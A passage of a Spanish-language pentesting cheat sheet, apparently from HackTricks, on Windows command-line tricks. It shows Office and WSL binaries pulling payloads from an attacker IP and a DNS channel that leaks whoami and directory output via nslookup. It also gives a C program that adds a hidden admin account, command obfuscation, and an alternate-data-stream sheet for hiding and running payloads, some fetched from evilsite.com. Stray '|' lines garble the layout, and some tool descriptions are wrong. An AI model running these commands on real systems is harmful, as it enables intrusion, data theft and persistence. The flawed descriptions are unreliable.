replace.exe <archivo_original> <archivo_nuevo> [<archivo_de_respaldo>] [/A] [/R] [/S] [/U] [/P] [/W]
|
|||
|
```
|
|||
|
|
|||
|
## Opciones
|
|||
|
|
|||
|
- `<archivo_original>`: especifica el archivo que se va a reemplazar.
|
|||
|
- `<archivo_nuevo>`: especifica el archivo que se va a utilizar para reemplazar el archivo original.
|
|||
|
- `<archivo_de_respaldo>`: especifica el archivo de respaldo que se creará si se utiliza la opción `/A`.
|
|||
|
- `/A`: crea un archivo de respaldo antes de reemplazar el archivo original.
|
|||
|
- `/R`: reemplaza los archivos de solo lectura.
|
|||
|
- `/S`: reemplaza los archivos en subdirectorios.
|
|||
|
- `/U`: reemplaza los archivos que son más nuevos que el archivo original.
|
|||
|
- `/P`: solicita confirmación antes de reemplazar cada archivo.
|
|||
|
- `/W`: espera a que se complete el reemplazo antes de continuar.
|
|||
|
|
|||
|
## Ejemplos
|
|||
|
|
|||
|
Reemplazar un archivo:
|
|||
|
|
|||
|
```
|
|||
|
replace.exe archivo_original.txt archivo_nuevo.txt
|
|||
|
```
|
|||
|
|
|||
|
Reemplazar un archivo y crear un archivo de respaldo:
|
|||
|
|
|||
|
```
|
|||
|
replace.exe archivo_original.txt archivo_nuevo.txt archivo_de_respaldo.txt /A
|
|||
|
```
|
|||
|
|
|||
|
Reemplazar un archivo en subdirectorios:
|
|||
|
|
|||
|
```
|
|||
|
replace.exe archivo_original.txt archivo_nuevo.txt /S
|
|||
|
```
|
|||
|
```
|
|||
|
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
|
|||
|
```
|
|||
|
`Excel.exe` es el ejecutable del programa Microsoft Excel, utilizado para crear y editar hojas de cálculo.
|
|||
|
```
|
|||
|
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
|
|||
|
```
|
|||
|
`Powerpnt.exe` es el ejecutable del programa Microsoft PowerPoint, utilizado para crear presentaciones multimedia.
|
|||
|
```
|
|||
|
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
|
|||
|
```
|
|||
|
# Squirrel.exe
|
|||
|
|
|||
|
`squirrel.exe` es una herramienta de línea de comandos que se utiliza para instalar y actualizar aplicaciones de Windows. Es comúnmente utilizado en aplicaciones de escritorio y en aplicaciones de Windows alojadas en la nube.
|
|||
|
|
|||
|
La herramienta se utiliza para descargar y actualizar paquetes de aplicaciones, y también se encarga de la instalación y desinstalación de aplicaciones. Squirrel.exe es compatible con varios formatos de paquetes, incluyendo `.nupkg`, `.zip` y `.tar.gz`.
|
|||
|
|
|||
|
Squirrel.exe también se utiliza en aplicaciones de Windows que se ejecutan en contenedores Docker. En este caso, se utiliza para instalar y actualizar aplicaciones dentro del contenedor.
|
|||
|
|
|||
|
Los pentesters pueden utilizar Squirrel.exe para buscar vulnerabilidades en aplicaciones de Windows que utilizan esta herramienta para la instalación y actualización de aplicaciones.
|
|||
|
```
|
|||
|
squirrel.exe --download [url to package]
|
|||
|
```
|
|||
|
# Update.exe
|
|||
|
|
|||
|
`update.exe` es un archivo ejecutable que se utiliza para actualizar software en sistemas Windows. Este archivo se encuentra comúnmente en la carpeta `C:\Windows\System32` y se ejecuta automáticamente cuando se inicia el sistema.
|
|||
|
|
|||
|
Sin embargo, `update.exe` también puede ser utilizado por atacantes para ejecutar malware en un sistema comprometido. Por lo tanto, es importante verificar la ubicación y el hash del archivo `update.exe` para asegurarse de que no ha sido modificado.
|
|||
|
|
|||
|
Además, es recomendable bloquear el acceso a `update.exe` desde la red utilizando un firewall para evitar posibles ataques de malware que intenten descargar archivos maliciosos a través de este archivo.
|
|||
|
|
|||
|
En resumen, `update.exe` es una herramienta útil para mantener actualizado el software en sistemas Windows, pero también puede ser utilizada por atacantes para ejecutar malware. Por lo tanto, es importante tomar medidas de seguridad para protegerse contra posibles ataques.
|
|||
|
```
|
|||
|
Update.exe --download [url to package]
|
|||
|
```
|
|||
|
`Winword.exe` es el proceso que se encarga de ejecutar el programa Microsoft Word en sistemas operativos Windows.
|
|||
|
```
|
|||
|
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
|
|||
|
```
|
|||
|
`wsl.exe` es una herramienta de línea de comandos que permite interactuar con el Subsistema de Windows para Linux (WSL). Con `wsl.exe`, los usuarios pueden ejecutar comandos de Linux directamente desde la línea de comandos de Windows. Esto es útil para aquellos que necesitan acceder a herramientas de Linux mientras trabajan en un entorno de Windows.
|
|||
|
```
|
|||
|
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
|
|||
|
```
|
|||
|
## Miscelánea
|
|||
|
```bash
|
|||
|
cd #Get current dir
|
|||
|
cd C:\path\to\dir #Change dir
|
|||
|
dir #List current dir
|
|||
|
dir /a:h C:\path\to\dir #List hidden files
|
|||
|
dir /s /b #Recursive list without shit
|
|||
|
time #Get current time
|
|||
|
date #Get current date
|
|||
|
shutdown /r /t 0 #Shutdown now
|
|||
|
type <file> #Cat file
|
|||
|
|
|||
|
#Runas
|
|||
|
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
|
|||
|
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
|
|||
|
|
|||
|
#Hide
|
|||
|
attrib +h file #Set Hidden
|
|||
|
attrib -h file #Quit Hidden
|
|||
|
|
|||
|
#Give full control over a file that you owns
|
|||
|
icacls <FILE_PATH> /t /e /p <USERNAME>:F
|
|||
|
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
|
|||
|
|
|||
|
#Recursive copy to smb
|
|||
|
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
|
|||
|
|
|||
|
#exe2bat to transform exe file in bat file
|
|||
|
|
|||
|
#ADS
|
|||
|
dir /r #Detect ADS
|
|||
|
more file.txt:ads.txt #read ADS
|
|||
|
powershell (Get-Content file.txt -Stream ads.txt)
|
|||
|
|
|||
|
# Get error messages from code
|
|||
|
net helpmsg 32 #32 is the code in that case
|
|||
|
```
|
|||
|
### Saltar la lista negra de caracteres
|
|||
|
```bash
|
|||
|
echo %HOMEPATH:~6,-11% #\
|
|||
|
who^ami #whoami
|
|||
|
```
|
|||
|
### DOSfuscation
|
|||
|
|
|||
|
Genera una línea de CMD obfuscada.
|
|||
|
```powershell
|
|||
|
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
|
|||
|
cd Invoke-DOSfuscation
|
|||
|
Import-Module .\Invoke-DOSfuscation.psd1
|
|||
|
Invoke-DOSfuscation
|
|||
|
help
|
|||
|
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
|
|||
|
encoding
|
|||
|
```
|
|||
|
### ACLs de dirección de escucha
|
|||
|
|
|||
|
Puedes escuchar en [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) sin ser administrador.
|
|||
|
```bash
|
|||
|
netsh http show urlacl
|
|||
|
```
|
|||
|
### Shell DNS manual
|
|||
|
|
|||
|
El **atacante** (Kali) debe usar una de estas 2 opciones:
|
|||
|
```bash
|
|||
|
sudo responder -I <iface> #Active
|
|||
|
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
|
|||
|
```
|
|||
|
#### Víctima
|
|||
|
|
|||
|
_**for /f tokens**_ \_\*\*\_técnica: Esto nos permite ejecutar comandos, obtener las primeras X palabras de cada línea y enviarlas a través de DNS a nuestro servidor.
|
|||
|
```
|
|||
|
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
|||
|
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
|||
|
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
|
|||
|
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
|
|||
|
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
|
|||
|
#More complex commands
|
|||
|
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
|||
|
```
|
|||
|
También puedes **redirigir** la salida y luego **leerla**.
|
|||
|
```
|
|||
|
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
|||
|
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
|||
|
```
|
|||
|
## Llamando a CMD desde código C
|
|||
|
```c
|
|||
|
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
|
|||
|
|
|||
|
// When executed by Administrator this program will create a user and then add him to the administrators group
|
|||
|
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
|
|||
|
// upx -9 addmin.exe
|
|||
|
|
|||
|
int main (){
|
|||
|
int i;
|
|||
|
i=system("net users otherAcc 0TherAcc! /add");
|
|||
|
i=system("net localgroup administrators otherAcc /add");
|
|||
|
return 0;
|
|||
|
}
|
|||
|
```
|
|||
|
## Hoja de trucos de corrientes de datos alternativas (ADS/Alternate Data Stream)
|
|||
|
|
|||
|
Tomado de [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)
|
|||
|
```bash
|
|||
|
##Add content to ADS###
|
|||
|
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
|
|||
|
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
|
|||
|
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
|
|||
|
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
|
|||
|
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
|
|||
|
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
|
|||
|
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
|
|||
|
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
|
|||
|
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
|
|||
|
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
|
|||
|
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
|
|||
|
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
|
|||
|
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat
|
|||
|
set-content - path {path to the file} - stream {name of the stream}
|
|||
|
|
|||
|
## Discover ADS contecnt
|
|||
|
dir /R
|
|||
|
streams.exe <c:\path\to\file> #Binary from sysinternals#
|
|||
|
Get-Item -Path .\fie.txt -Stream *
|
|||
|
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
|
|||
|
|
|||
|
##Extract content from ADS###
|
|||
|
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
|
|||
|
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
|
|||
|
more < c:\ads\file.txt:test.exe
|
|||
|
|
|||
|
##Executing the ADS content###
|
|||
|
|
|||
|
* WMIC
|
|||
|
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
|
|||
|
|
|||
|
* Rundll32
|
|||
|
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
|
|||
|
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
|
|||
|
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
|
|||
|
|
|||
|
* Cscript
|
|||
|
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
|
|||
|
|
|||
|
* Wscript
|
|||
|
wscript c:\ads\file.txt:script.vbs
|
|||
|
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
|
|||
|
|
|||
|
* Forfiles
|
|||
|
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
|
|||
|
|
|||
|
* Mavinject.exe
|
|||
|
c:\windows\SysWOW64\notepad.exe
|
|||
|
tasklist | findstr notepad
|
|||
|
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
|
|||
|
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
|
|||
|
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
|
|||
|
|
|||
|
* MSHTA
|
|||
|
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
|
|||
|
(Does not work on Windows 10 1903 and newer)
|
|||
|
|
|||
|
* Control.exe
|
|||
|
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
|
|||
|
https://twitter.com/bohops/status/954466315913310209
|
|||
|
|
|||
|
* Create service and run
|
|||
|
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
|
|||
|
sc start evilservice
|
|||
|
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
|
|||
|
|
|||
|
* Powershell.exe
|
|||
|
powershell -ep bypass - < c:\temp:ttt
|
|||
|
|
|||
|
* Powershell.exe
|
|||
|
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
|
|||
|
|
|||
|
* Powershell.exe
|
|||
|
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
|
|||
|
|
|||
|
* Regedit.exe
|
|||
|
regedit c:\ads\file.txt:regfile.reg
|
|||
|
|
|||
|
* Bitsadmin.exe
|
|||
|
bitsadmin /create myfile
|
|||
|
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
|
|||
|
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
|
|||
|
bitsadmin /RESUME myfile
|
|||
|
|
|||
|
* AppVLP.exe
|
|||
|
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
|
|||
|
|
|||
|
* Cmd.exe
|
|||
|
cmd.exe - < fakefile.doc:reg32.bat
|
|||
|
https://twitter.com/yeyint_mth/status/1143824979139579904
|
|||
|
|
|||
|
* Ftp.exe
|
|||
|
ftp -s:fakefile.txt:aaaa.txt
|
|||
|
https://github.com/sailay1996/misc-bin/blob/master/ads.md
|
|||
|
|
|||
|
* ieframe.dll , shdocvw.dll (ads)
|
|||
|
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
|
|||
|
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
|
|||
|
https://github.com/sailay1996/misc-bin/blob/master/ads.md
|
|||
|
|
|||
|
* bash.exe
|
|||
|
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
|
|||
|
bash.exe -c $(fakefile.txt:payload.sh)
|
|||
|
https://github.com/sailay1996/misc-bin/blob/master/ads.md
|
|||
|
|
|||
|
* Regsvr32
|
|||
|
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
|
|||
|
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
|
|||
|
```
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|